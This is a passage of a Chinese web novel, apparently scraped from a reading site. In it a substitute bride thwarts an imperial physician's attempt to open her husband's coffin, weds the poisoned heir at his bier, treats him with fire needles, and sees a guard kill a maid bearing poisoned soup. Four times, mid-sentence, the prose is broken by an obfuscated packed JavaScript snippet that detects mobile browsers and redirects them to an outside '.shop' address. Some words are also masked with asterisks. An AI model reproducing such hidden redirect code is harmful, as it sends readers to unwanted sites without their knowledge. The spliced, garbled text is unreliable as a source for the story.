正是太医令林渊!他手持一卷明黄绢帛,目光如同冰冷的探针,瞬间扫过整个偏厅,最后死死钉在那口巨大的黑檀木棺材上,嘴角勾起一丝不易察觉的、阴冷的弧度。 “奉天承运,皇帝诏曰!”林渊的声音在空旷的灵堂里回荡,带着一种令人窒息的压迫感,“闻镇北王世子萧御,英年早逝,朕心甚痛!念及世子功勋,特遣太医令林渊,携太医院精锐,前来验明正身,以彰天恩,慰藉忠魂!” 验尸! 赵伯脸色剧变,噗通一声跪倒在地,老泪纵横:“林大人!使不得啊!世子爷……世子爷刚去,魂魄未安,此刻开棺验尸,惊扰亡灵,大不吉啊!” “放肆!”林渊身后一个禁卫厉声呵斥,“圣旨在此,尔等敢抗旨不遵?!” 林渊的目光却越过赵伯,阴冷地落在谢凤卿身上,带着审视和一丝不易察觉的恶意:“这位……便是那位‘冲喜’的世子妃吧?圣上仁慈,念你冲喜不易。不过,验明世子正身,乃国事体统,还请世子妃……行个方便,开棺吧。”他的语气看似客气,却带着不容抗拒的威压。 开棺?只要棺盖一开,萧御毒发未愈、气息奄奄的模样立刻就会暴露!届时,“世子未死”的消息传回宫中,等待他的,必然是更加隐秘、更加致命的补刀!而她自己,作为唯一的目击者,也绝对会被灭口! 巨大的危机如同冰冷的巨手,瞬间扼住了谢凤卿的咽喉!她的大脑在电光火石间疯狂运转! 就在林渊身后的禁卫作势要上前强行开棺的瞬间—— “且慢!” 谢凤卿的声音陡然响起!她猛地一步跨出,张开双臂,如同一只护崽的母兽,死死挡在了那口黑沉沉的棺材前!劣质的红嫁衣在惨白灯影下刺目惊心。 她的脸上瞬间褪去了所有冷静,换上了一副惊恐万状、泫然欲泣的柔弱模样,声音带着剧烈的颤抖和哭腔: “林大人!各位大人!开不得!万万开不得啊!”她扑通一声朝着林渊的方向跪下,身体筛糠般抖动着,眼泪说来就来,如同断了线的珠子滚落,“世子爷……世子爷刚刚才咽气不久啊!民女……民女按规矩为世子净身,可……可就在方才,世子爷他……他口中突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545977|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然涌出黑血!这……这定是冲喜不成,反惹了怨煞!是凶兆!是大凶之兆啊!” 她抬起头,泪眼婆娑,脸上是毫不作伪的极度恐惧,声音尖利得变了调:“冲喜见血,已是大不吉!若此时再强行开棺,惊扰了怨气未散的尸身……只怕……只怕这怨煞之气瞬间爆发,冲撞了圣上的天恩福泽是小,若是冲撞了宫里的贵人们……民女……民女万死难赎其罪啊!”她一边哭喊,一边砰砰地磕着头,额角瞬间见了红,显得凄惨无比。 “凶兆?怨煞?”林渊眉头紧锁,眼神阴晴不定。他身为太医令,自然不信这些鬼神之说,但“冲喜见血”、“怨煞冲撞宫闱”这些字眼,却像一根根无形的刺,狠狠扎在周围那些禁卫和王府仆役的心上。尤其是那几个禁卫,脸上明显露出了犹豫和一丝忌讳的神色。他们可以不怕死,但若真因开棺而引来了什么“怨煞”冲撞了宫里的娘娘皇子……这罪名谁担得起? 林渊看着眼前哭得几乎昏厥的少女,又看看那口透着死气的棺材,以及棺前地面上尚未完全清理干净的、暗紫色的血点痕迹……他心中疑窦更深,杀机更盛!这庶女,是在拖延时间?还是棺中真有古怪? “妖言惑众!”林渊眼神一厉,决定不再纠缠,“圣旨在此,岂容你以鬼神之说推诿!来人!开棺验看!若有怨煞,本官自当请旨,请龙虎山天师前来**!” “遵命!”两名禁卫再无犹豫,大步上前! 谢凤卿的心沉到了谷底!她猛地抬头,眼中掠过一丝决绝的寒光!袖中的指尖,再次捻住了那冰冷的银芒!硬拼?以她的身手,或许能放倒一两个,但绝对逃不出这重重包围!只能赌! 就在那两名禁卫的手即将触碰到冰冷棺盖的千钧一发之际—— “铮——!” 一道匹练般的雪亮刀光,毫无征兆地撕裂了昏暗的空气!如同凭空炸响的一道惊雷! 一个全身包裹在黑色夜行衣中、只露出一双毫无感情、冰冷如霜眼眸的身影,如同鬼魅般出现在棺材侧后方!他手中的狭长横刀,带着刺骨的杀意,精准无比地横在了那两名禁卫的咽喉之前!刀锋离肌肤不过毫厘,森然的寒气激得两名禁卫汗**倒竖,动作瞬间僵住! “影一大人?!”赵伯失声惊呼,带着难以置信的惊喜。 影一!萧御麾下暗卫之首!神出鬼没,只听命于萧御一人! 林渊脸色骤变,厉声喝道:“影一!你想**吗?!圣旨在此,验看世子遗容,你敢阻拦?!” 影一那双冰冷的眸子,如同万载玄冰,毫无波澜地扫过林渊,最终却落在了挡在棺前、额角带血、看似柔弱不堪的谢凤卿身上。那目光锐利如刀,带着审视、疑虑,还有一丝不易察觉的……探究?刚才这女子施针、放血、以及此刻这看似荒谬却暂时阻止了开棺的“怨煞”之说……他都看在眼里。她……似乎真的在救主子? 第5章 夫……夫妻对拜 谢凤卿的心脏几乎要从嗓子眼里跳出来!机会!这是最后的机会! 她猛地转头,目光穿透影一冰冷的视线,声音因为极致的紧张和嘶喊而带着一种撕裂般的穿透力,清晰地砸在影一耳中: “我能救他!只有我能救他!再不开棺通风,他就真要被憋**!”她指着那厚重的棺盖,眼神是孤注一掷的疯狂和笃定,“开棺!立刻开棺!否则,就算神仙来了,也救不回你家主子了!” “开棺?”林渊抓住话柄,阴冷一笑,“方才还说开棺惊扰怨煞,此刻又要开棺?谢氏女,你前言不搭后语,究竟是何居心?!影一,莫要被此女蛊惑!她……” 影一握刀的手,纹丝不动。那双冰冷的眸子深处,却因谢凤卿那句“只有我能救他”而掀起了剧烈的波澜!主子的情况……他比任何人都清楚!那诡异的毒……太医束手无策!这女子能一口道破毒名,方才那三针下去,主子的气息似乎真的……稳了一瞬? 就在影一内心天人交战,林渊杀机毕露,禁卫蓄势待发,整个偏厅气氛紧绷到极限,即将彻底爆发的刹那—— 一个低沉、沙哑、虚弱得如同风中残烛,却又带着一种不容置疑的威严和冰冷的声音,如同从九幽地狱深处传来,清晰地、艰难地,穿透了厚重的棺木,回荡在死寂的灵堂之中: “退……下……” “本世子……还……活……着……” “轰——!” 这五个字,如同五道九天惊雷,狠狠劈在在场每一个人的头顶! 林渊脸上的阴冷笑容瞬间冻结,化作极致的惊骇和难以置信!他猛地瞪大眼睛,死死盯着那口黑棺,仿佛见了鬼! 赵伯浑身剧震,老泪纵横,激动得嘴唇哆嗦,几乎要晕厥过去! 那些持刀的禁卫更是如同被施了定身法,僵在原地,脸上的表情混杂着恐惧、茫然和极度的震惊!世子……还活着?! 影一握刀的手,几不可察地颤抖了一下。那双冰冷的眸子里,瞬间爆发出狂喜的光芒,随即又被更深的警惕和决绝覆盖!他毫不犹豫,手腕一翻,横刀刀锋瞬间转向,冰冷的杀意如同实质般锁定了林渊和他带来的所有禁卫!无声的警告:谁敢妄动,立斩! 偏厅里死一般的寂静。只有风雪拍打窗棂的呜咽,和烛火疯狂摇曳的哔剥声。 林渊的脸色在烛光下变幻不定,从惊骇到阴沉,再到一丝隐藏极深的怨毒。他死死地盯着那口棺材,又扫了一眼挡在棺前、此刻缓缓站直身体、脸上泪痕未干却眼神沉静如水的谢凤卿,以及杀气腾腾、如同门神般的影一。 “好……好……好!”林渊从牙缝里挤出三个字,每一个都带着刻骨的寒意,“世子洪福齐天!竟能从鬼门关回转!此乃天佑我大胤!本官……这就回宫,将此天大喜讯,禀明圣上!” 他猛地一甩袖袍,再不看任何人,带着满脸的阴鸷和一丝仓惶,转身便走。那些禁卫如梦初醒,慌忙收起兵刃,紧随其后,如同潮水般退出了这间充满死亡、诡异和新生气息的偏厅。 大门再次关上,隔绝了风雪。 偏厅内,只剩下摇曳的烛火,沉重的呼吸,以及那口静静停放的黑檀木巨棺。 赵伯激动地扑到棺边,老泪纵横:“世子爷!世子爷您真的……苍天有眼啊!” 影一收刀入鞘,无声地单膝跪在棺侧,冰冷的眼眸望向棺盖缝隙,里面是压抑不住的关切和询问。 谢凤卿长长地、无声地吐出一口浊气,后背的冷汗几乎浸透了内衫。她抹了一把额角的冷汗和血迹,脸上那副惊恐柔弱的表情瞬间消失无踪,只剩下冰冷的疲惫和一丝如释重负。 她走到一旁,拿起那条沾了水的素白布巾,用力擦了擦脸上残留的血污和泪痕。然后,她走到那对歪倒在喜案上、早已熄灭的龙凤红烛前。 “嚓。” 火石轻响。 一点橘红的火苗,在她纤细的指尖跳跃起来。她俯身,平静地、专注地,将两支粗大的龙凤喜烛,一一点燃。 温暖而跳跃的烛光,再次驱散了灵堂的一角阴霾。那跳跃的火焰,映亮了她半边沉静的侧脸,也映亮了棺盖缝隙后,那双深不见底、正透过缝隙死死凝视着她的寒眸。 谢凤卿拿起案上那截被撕扯过的、象征喜庆的红绸。她走到棺边,将红绸的一端,轻轻放在萧御那只因麻痹和虚弱而无法动弹的手边。 然后,她握着红绸的另一端,稳稳地站在棺旁。 她的目光平静地迎上棺内那双翻涌着复杂情绪的眼睛,唇角极其轻微地向上弯起一个弧度,声音不高,却清晰地响彻在重新燃起烛火的灵堂里: “世子殿下,” “风雪未停,良辰犹在。” “该……” 她微微一顿,红烛的光芒在她眼中跳跃,如同燃烧的星火: “……拜堂了。” 棺内,萧御的呼吸依旧粗重而艰难。剧毒的侵蚀、放血后的虚弱、以及那枚银针残留的麻痹感,几乎抽干了他所有的力气。每一次心跳都牵扯着胸腔撕裂般的痛楚,沉重的眼皮如同灌了铅,只想就此沉入无边的黑暗。 然而,那双深不见底的寒眸,却死死地、一瞬不瞬地钉在棺外那个少女身上。 红烛的光映着她半边沉静的侧脸,那劣质嫁衣的艳红在火光下竟透出一种惊心动魄的决绝。她握着红绸的手,稳定得没有一丝颤抖。那句“该拜堂了”,平静无波,却带着一种不容抗拒的力量,像冰冷的鞭子抽在他濒临涣散的意识上。 名分……兵符……交易…… 活下去! 一个近乎疯狂的念头,如同最后的星火,在剧毒和虚弱的泥沼中顽强地燃烧起来!他要活下去!活下来,才能清算这一切! “呃……”一声压抑的闷哼从他紧咬的牙关里挤出。他用尽全身残存的力气,那只没有被银针**右手,猛地抬起,如同濒死的野兽伸出最后的爪牙,狠狠地、颤抖地,抓住了放在他手边的那截红绸! 粗糙的绸缎触感,冰冷而陌生。 谢凤卿感受到红绸另一端传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545978|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的、微弱却异常坚定的拉扯力量。 她没有丝毫犹豫,手臂用力,稳稳地、坚定地向后拉动红绸!一股助力,顺着红绸传递过去! 在赵伯含泪的注视下,在影一无声的守护中,在满堂摇曳的烛火和惨白丧幡的诡异映衬下—— 沉重的黑檀木棺盖缝隙中,一只苍白、骨节分明、沾着暗紫血污的手,死死攥着一截红绸,被棺外那只纤细却异常有力的手,一点点、艰难地、带着一种近乎悲壮的姿态,强行拉拽了出来! 紧接着,是手臂、肩膀…… 萧御那张布满冷汗和血污、惨白如纸却依旧俊美得惊心动魄的脸,终于完全暴露在烛光之下!他紧咬着牙关,下颌线条绷紧如刀刻,深不见底的眸子里燃烧着痛苦、虚弱,以及一种被彻底激发出来的、属于猛兽的凶悍与不屈!他借着谢凤卿红绸传递过来的力量,以及自身那股被逼到绝境后爆发的、近乎燃烧生命的意志,硬生生地、一点点地,从冰冷的棺椁中撑坐了起来! **袍凌乱,血迹斑斑,长发散落肩头,气息微弱得如同风中之烛。 然而,他坐起来了! 在赵伯喜极而泣的哽咽中,在影一眼底翻涌的激动里,在谢凤卿平静无波的注视下—— 他坐起来了! 谢凤卿握紧手中的红绸,走到他正前方。隔着一步的距离,隔着摇曳的烛光,隔着这满堂的死亡气息与新点燃的微弱生机。 她看着他。 他也看着她。 没有司仪,没有宾客,没有喜乐。 只有老管家带着哭腔、颤抖着喊出的声音,在这诡异的灵堂里回荡: “一拜……天地——!” 谢凤卿握着红绸,平静地、深深地弯下腰。 棺椁中,萧御的身体剧烈地晃了一下,仿佛随时会再次倒下。但他死死咬着牙,额头青筋暴起,用尽全身力气,借着红绸的牵引和支撑,朝着虚空的方向,同样深深地躬下了他从未向任何人低下的、高傲的头颅! 红绸绷紧,如同连接着生与死的脆弱桥梁。 “二拜……高堂——!” 再次躬身。 每一次动作,都牵扯着萧御体内翻江倒海般的剧痛,暗紫的血色再次不受控制地涌上他的唇边,被他强行咽下,喉结剧烈滚动。汗水混着血污,从他额角大滴滚落。 谢凤卿的动作依旧平稳,仿佛只是在进行一项寻常的仪式,唯有握着红绸的手,指节因过度用力而微微发白。 “夫……夫妻对拜——!” 赵伯的声音带着激动和哽咽,最后一个音节几乎破音。 谢凤卿抬眸,目光平静地迎上萧御那双因剧痛和虚弱而布满血丝、却依旧锐利如鹰隼、死死锁住她的眼睛。 她再次弯下腰。 萧御死死地盯着她,那目光复杂到了极点——愤怒、**、不甘、一丝被掌控的无力感,以及最深沉的、对生的渴望。他剧烈地喘息着,如同破败的风箱,身体再次向前倾去,完成这最后一拜! 第6章 镇北王府兵符号令北府三千死士 两人的额头,隔着那截象征联结的红绸,在摇曳的烛火和惨白的丧幡下,在冰冷的棺椁旁,极其短暂地、几乎微不可查地触碰了一下。 冰冷,僵硬,带着血腥和药味。 一触即分。 “礼……礼成——!”赵伯带着哭腔,终于喊出了最后两个字。 萧御再也支撑不住,身体猛地向后一仰,重重地靠回冰冷的棺壁上,胸膛剧烈起伏,每一次呼吸都带着痛苦的嘶声,意识迅速模糊,眼前阵阵发黑。 谢凤卿缓缓直起身。手中的红绸另一端,那紧攥的力量已然松懈、滑落。 她低头看了一眼掌中那截粗糙的红绸,又抬眼看向棺中再次陷入半昏迷状态的男人。 烛火在她身后跳跃,将她的影子拉得长长的,投在冰冷的墙壁和那口巨大的黑棺上。 这一拜, 她得了名分,一道立足这**王府的护身符。 他,得了生机,一个从地狱边缘被强行拽回的渺茫机会。 而那口冰冷的棺材,那截染血的红绸,如同一个诡异的印记,深深烙在了这个雪夜。 京城的风,自北方呼啸而来,卷起漫天狂雪,却在这一刻,被这灵堂中荒诞的烛火,无声无息地,推向了无人预料的轨道。 子时已过,风雪未歇。镇北王府世子寝殿,如今这临时布置的“洞房”,依旧被一种紧绷的死寂笼罩着。外厅廊下,几盏新挂上的红灯笼在风雪中飘摇,微弱的光晕勉强映照着阶前几株被厚雪压弯了枝头的寒梅,红梅白雪,本该清绝,此刻却透着一股孤寒的凄怆。 内室,烛火通明。空气里弥漫着浓烈的药味、血腥味,还有一股火酒被点燃后的辛辣气息,混杂在一起,形成一种令人窒息的氛围。 萧御赤着上身,背对烛光,伏卧在铺着厚厚锦褥的紫檀木拔步床上。那本该是充满旖旎气息的婚床,此刻却成了手术台。他宽阔的肩背线条流畅,肌肉紧实,这本该是充满力量的躯体,此刻却布满了触目惊心的痕迹。 一条条蛛网般的黑紫色纹路,如同活物般从腰脊处蔓延开来,狰狞地盘踞在他的皮肉之下,颜色最深、最密集的区域,已然爬上了左肩胛骨,距离心脏的位置,仅余半寸之遥!那黑紫的毒线在烛光下微微凸起,如同皮下蛰伏着无数条细小的毒蛇,散发着不祥的死气。每一次微弱的呼吸,都让那些毒线仿佛在蠕动,昭示着死亡步步紧逼。 谢凤卿站在床边,褪去了白日里那身劣质嫁衣,换了一身王府婢女寻来的素净常服,乌发松松挽起,露出光洁的额头和一段纤细脆弱的脖颈。然而她脸上的神情,却与这份柔弱毫不相干。她眼神专注如冰,手中拿着一柄在烛火上反复燎烤、刃口薄如柳叶的银色小刀,刀尖在跳跃的火苗中泛着幽冷的寒光。 “毒线已逼近心脉,”她的声音平静无波,如同在陈述一件与己无关的事实,“需割开皮肉,放出淤积毒血,再以火针封穴,逼退毒线。过程极痛,如刮骨剔髓。殿下,”她抬眸,目光对上萧御侧过脸来投来的、因剧痛而布满血丝、却依旧锐利冰冷的视线,“忍得住么?” 萧御的唇色是失血的灰白,下唇被他自己咬出了深深的齿痕,渗着血珠。额角的冷汗如同溪流般滑落,浸湿了鬓角。他深不见底的眸子里翻涌着剧痛带来的生理性水光,但那目光深处,却是一片被强行冻结的寒潭,唯有不屈的意志如同不灭的星火在其中燃烧。 “废……话……”他艰难地从齿缝里挤出两个字,每一个音节都带着压抑的颤抖,“动手!” 没有半分犹豫。谢凤卿手中烧得滚烫的银刀,精准地划向萧御后背毒线最密集、颜色最深的那片区域! “嗤——!” 滚烫的刀刃接触皮肉的瞬间,伴随着细微的灼烧声和皮肉翻卷的声音。一股浓稠得如同墨汁、散发着浓烈腥甜腐杏气味的黑紫色毒血,如同找到了宣泄口,猛地从刀口处喷溅而出! 萧御的身体瞬间绷紧如弓弦!一声压抑到极致的、如同困兽濒死的嘶吼从他紧咬的牙关深处迸发出来!全身肌肉贲起,青筋如同虬龙般在皮肤下暴突,巨大的痛楚几乎将他残存的意识撕碎!他死死抓住身下的锦褥,指节捏得咯咯作响,骨节泛白。 谢凤卿眼神没有丝毫波动。她动作快如闪电,左手早已准备好的、浸透了烈酒的棉纱迅速覆上,吸走涌出的毒血,右手却毫不停歇! “唰!”“唰!”“唰!” 三枚细如牛毛、通体被烈酒火焰燎烤得微微泛红的银针,带着灼热的气息,如同三道赤红的流星,精准无比地刺入萧御后背三处关键大穴——神堂、心俞、魂门!针尖入肉的瞬间,发出细微的“滋”声! “呃啊——!”萧御身体猛地一抽,又是一声压抑不住的痛吼,冷汗瞬间浸透了身下的锦褥。 但这仅仅是开始! 谢凤卿的动作行云流水,带着一种近乎残酷的美感。她的指尖如同穿花蝴蝶,每一次探向旁边火酒盆上方,捻起一枚烧得通红的银针,再落下时,都精准地刺入一个足以致命的死穴旁! 天宗、秉风、曲垣、肩外俞、附分、魄户、膏肓、神道、灵台、至阳…… 一枚枚烧红的银针,带着灼人的热力与刺骨的锐痛,接连刺入萧御后背的皮肉!十三处!整整十三处死穴要津!每一针落下,萧御的身体都会不受控制地剧烈痉挛一下,额角的青筋如同要爆裂般跳动,粗重的喘息如同破败的风箱,在寂静的室内拉扯出令人心悸的回响。 若此刻有旁人在侧,定会骇然失色。这哪里是救人?分明是在用最酷烈的手段,将人反复凌迟于生死边缘! 黑紫色的毒血不断从最初的刀口和银针周围的皮肤渗出,被谢凤卿用烈酒棉纱一次次擦拭干净。那浓烈的腥臭毒气弥漫了整个内室。 当第十三枚赤红的银针,稳稳刺入至阳穴下方半寸时,谢凤卿的指尖终于微微一顿,额角也渗出了细密的汗珠。 而萧御,整个人如同刚从水里捞出来,浑身湿透,脸色惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545979|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白如金纸,身体因为持续的剧痛而微微颤抖着。然而,他那双深不见底的眸子,却死死地盯着拔步床对面梳妆台上那面巨大的铜镜。 铜镜昏黄的镜面里,清晰地映照出床上的景象:他伤痕累累的后背,插满了闪烁着幽冷光泽的银针,如同刺猬。而那个站在他身后的、一身素衣、神情冷冽专注的少女…… 她的动作狠绝精准,眼神冷静得没有一丝波澜。仿佛手下承受着刮骨之痛的,不是一个活生生的人,而只是一块需要被剔除腐肉的木头。 一种难以言喻的、混杂着痛楚、**、惊悸以及一丝……被绝对力量掌控时产生的奇异颤栗感,如同毒藤般缠绕上萧御濒临崩溃的神经。这女人……是鬼!是披着人皮的恶鬼! 就在这念头翻涌的瞬间,一股强烈的腥甜猛地涌上喉头! “噗——!” 又是一口暗紫发黑、粘稠如泥的毒血,不受控制地喷溅而出!不偏不倚,正正喷在床沿搭着的一方素白喜帕之上! 那方象征着喜庆和贞洁的帕子,瞬间被浓稠的毒血浸透了大半,暗紫的血色在素白的底子上迅速晕染开,如同开出了一朵妖异而绝望的彼岸花。 谢凤卿的目光在那染血的喜帕上停留了一瞬,眼神幽深。随即,她迅速将最后几处渗血的**擦拭干净,拔下几枚关键银针检查针尾的色泽。当看到针尾那抹深邃的靛青稍稍褪去一丝,转为暗沉的黑紫色时,她紧绷的唇角终于几不可察地松弛了一分。 “毒线……退了半寸。”她清冷的声音响起,带着一丝疲惫,却宣告了初步的胜利。 她放下棉纱,拿起旁边准备好的干净布巾,开始清理萧御背上残留的血污和药酒。动作依旧利落,却少了几分方才的凌厉杀伐之气。 萧御伏在那里,如同虚脱。巨大的痛楚耗尽了最后一丝力气,意识在黑暗的边缘沉浮,只剩下粗重破碎的呼吸证明他还活着。他闭着眼,睫毛因为剧痛的余韵而微微颤抖。 不知过了多久,一个冰冷坚硬、带着金属特有凉意的东西,被塞进了他垂在床边、尚能微微动弹的右手掌心。 那触感……他猛地睁开眼! 半枚青铜虎符! 虎符只有巴掌大小,造型古朴凶猛,虎口大张,獠牙毕露,通体泛着幽冷的青铜光泽。一道锯齿状的断裂痕迹清晰可见,昭示着它只是完整兵符的一半。符身上刻着古老的铭文——“镇北”。 “镇北王府兵符,凭此可号令北府三千死士。”谢凤卿的声音在他头顶响起,平静无波,如同在陈述一件寻常物品,“按约定,三日之内,归我调用。” 萧御的手指下意识地收紧,冰冷的虎符硌着他的掌心。他艰难地侧过头,目光沿着自己血迹斑斑的手臂向上,最终落在谢凤卿那张沉静的侧脸上。她的指尖,正落在那半枚虎符锯齿状的断裂处,轻轻摩挲着。昏黄的烛光映着她低垂的眼睫,在那张尚显稚嫩的脸上投下小片阴影,让人看不清她眼底翻涌的究竟是何种情绪。 第7章 重生的记忆受到了巨大的偏差 北府三千死士……镇北王府最隐秘、最锋利、也是最后的一张底牌。那是他父王留给他,用以在绝境中翻盘的倚仗!如今,竟被这来历不明的女人握在了手中! 一股浓烈的**和不甘,混合着剧毒带来的虚弱感,如同毒火般灼烧着他的五脏六腑。 “三……日……”他嘶哑地重复,每一个字都像是从喉咙里抠出来的血块,“三日后……若本王不死……必亲手……取回!” “那便祝殿下……长命百岁了。”谢凤卿唇角勾起一个极淡的弧度,带着一丝冰冷的嘲弄。她的指尖依旧停留在虎符的缺口处。 就在这时,萧御猛地咳嗽起来,牵动后背伤口,一丝暗紫的血线再次从他嘴角溢出,蜿蜒滑落。 几乎是同时,谢凤卿擦拭他后背的手也因为用力,指尖不慎被一枚尚未拔出的银针极其轻微地刺破了一点皮肉。 一滴殷红的血珠,从她的指尖迅速沁出。 而萧御嘴角那抹暗紫的血线,也恰好滴落,正正落在她握着虎符的手指上! 殷红与暗紫,两滴截然不同的血珠,在冰冷的青铜虎符表面,在锯齿状的断裂口边缘,极其短暂地触碰、交融。 一股难以言喻的、冰冷而粘稠的气息,仿佛顺着那交融的血珠,无声无息地渗入了两人的指尖。 谢凤卿的动作几不可察地顿了一下。萧御也仿佛感应到什么,深潭般的眸子里掠过一丝极淡的异样。 “砰——!” 内室与外厅相隔的雕花木门,被一股极其粗暴的力量猛地撞开!巨大的声响瞬间撕裂了室内短暂的沉寂! “世子妃!老奴奉太妃之命,特来给世子爷送补汤!” 一个身穿深褐色锦缎袄裙、头戴抹额、身材矮胖、面皮白净却眼神精明刻薄的老嬷嬷,带着两个端着托盘、低眉顺眼的粗使婆子,如同回自己家一般,大摇大摆地闯了进来!她看也不看床上情形,目光如同探照灯般扫过内室,最后落在谢凤卿沾血的指尖和她手中那半枚虎符上时,瞳孔深处闪过一丝不易察觉的惊疑和贪婪。 正是太妃心腹,掌管内院厨房的柳嬷嬷! “放肆!”谢凤卿瞬间收拢手指,将虎符紧紧攥入掌心,藏于袖中。她霍然转身,眼神如同淬了冰的刀锋,直刺柳嬷嬷,“谁准你擅闯世子寝殿?!” 柳嬷嬷脸上堆起假笑,眼底却毫无温度:“世子妃息怒。太妃娘娘心系世子爷玉体,听闻世子爷吉人天相,转危为安,特意吩咐小厨房熬了这碗百年老参炖的雪蛤汤,给世子爷补补元气。这汤啊,最是滋补,凉了可就失了药效了。”说着,她朝身后一个婆子使了个眼色。 那婆子立刻端着托盘上前,托盘上一只青瓷小碗,碗中汤汁清澈,冒着丝丝热气。 谢凤卿的目光如同冰冷的探针,扫过那碗看似无害的汤。她的鼻翼极其细微地翕动了一下。一股极其隐晦的、混杂在参味和雪蛤腥气下的、如同**甜杏仁般的苦涩气息,如同毒蛇的信子,瞬间钻入她的鼻腔! 七日断魂散!而且……是加倍的剂量!好狠毒的心肠!这是生怕萧御死不透,要再补上一刀!甚至,连她这个“世子妃”也要一并毒杀! “滋补?”谢凤卿唇角勾起一个冰冷的弧度,眼神锐利如刀,“柳嬷嬷这碗汤,怕是给阎王爷的供奉吧?” 话音未落,她藏在袖中的左手闪电般探出!指尖不知何时已夹着一枚细长的金针!那金针快如流星,精准无比地刺入青瓷碗中的汤汁! “滋——!” 一声轻微却令人头皮发麻的异响! 只见那枚探入汤中的金针,在接触汤水的瞬间,针尖部分竟以肉眼可见的速度迅速变黑!那黑色如同活物般向上蔓延,眨眼间,整枚金针的下半截已然变得如同墨染!在烛光下散发出幽幽的不祥光泽! “啊!”端汤的婆子吓得手一抖,托盘差点翻倒。 柳嬷嬷脸上的假笑瞬间冻结,化作惊骇和难以置信!她指着那枚迅速变黑的金针,尖声叫道:“你……你血口喷人!这……这分明是你这妖女在汤里动了手脚!想谋害世子爷!来人啊!快来人!世子妃要谋害世子!” 随着她尖利的呼喊,门外立刻传来沉重的脚步声和甲胄摩擦声!几名王府侍卫手持兵刃,瞬间出现在门口! “将这谋害世子的妖女拿下!”柳嬷嬷指着谢凤卿,声色俱厉,脸上是毫不掩饰的狰狞和得意。 侍卫们面面相觑,目光在虚弱伏卧的世子、手持**的世子妃以及气焰嚣张的柳嬷嬷之间逡巡,一时竟有些踌躇。 “我看……谁敢动本王的王妃?” 一个低沉、沙哑、虚弱得仿佛随时会断气,却带着一种令人心悸的冰冷威严的声音,如同闷雷般在死寂的内室中炸响! 所有人的目光瞬间聚焦到拔步床上! 只见萧御不知何时,竟强撑着剧毒侵蚀、伤口崩裂的剧痛,硬生生用手臂撑起了半边身体!他脸色惨白如鬼,唇边血迹未干,后背的银针随着他的动作微微颤动,伤口处再次渗出血迹,染红了身下的锦褥。然而,他那双深不见底的眸子,却燃烧着如同地狱烈焰般的冰冷杀意,死死锁定门口的柳嬷嬷和那些侍卫! 那目光,如同实质的寒冰,冻得人血液凝固! “世……世子爷……”柳嬷嬷脸上的得意瞬间僵住,化作极度的恐惧,声音都变了调。 门口的侍卫更是如同被无形的重锤击中,“哗啦”一声,手中兵刃落地,齐齐单膝跪倒,头颅深埋:“世子爷息怒!” 就在这空气凝滞、柳嬷嬷惊骇欲绝的瞬间—— 一道漆黑的身影如同融入阴影的鬼魅,毫无征兆地出现在柳嬷嬷身侧!正是影一! 他手中那柄狭长的横刀,在烛火下只闪过一道雪亮的、快到极致的残影! “噗嗤!” 一声极其轻微的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16545980|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同布帛撕裂的声音响起。 柳嬷嬷脸上的惊恐表情瞬间定格。她张着嘴,似乎还想说什么,喉咙里却只发出“嗬嗬”的、如同破风箱般的漏气声。一道极细、极薄的血线,在她肥胖的脖颈上迅速浮现、扩大。 下一刻,滚烫的鲜血如同喷泉般,猛地从她断裂的喉管中狂飙而出! “呃……太……太妃……不……”她圆睁着充满恐惧和难以置信的眼睛,喉咙里挤出几个模糊的音节,身体如同被抽掉了骨头的麻袋,软软地向后倒去,重重地砸在地板上,发出沉闷的声响。鲜血迅速在她身下蔓延开来,浓烈的血腥味瞬间压过了药味和毒气。 内室陷入一片死寂。只有柳嬷嬷喉咙里最后那点“嗬嗬”声在回响,以及鲜血汩汩流淌的粘稠声响。 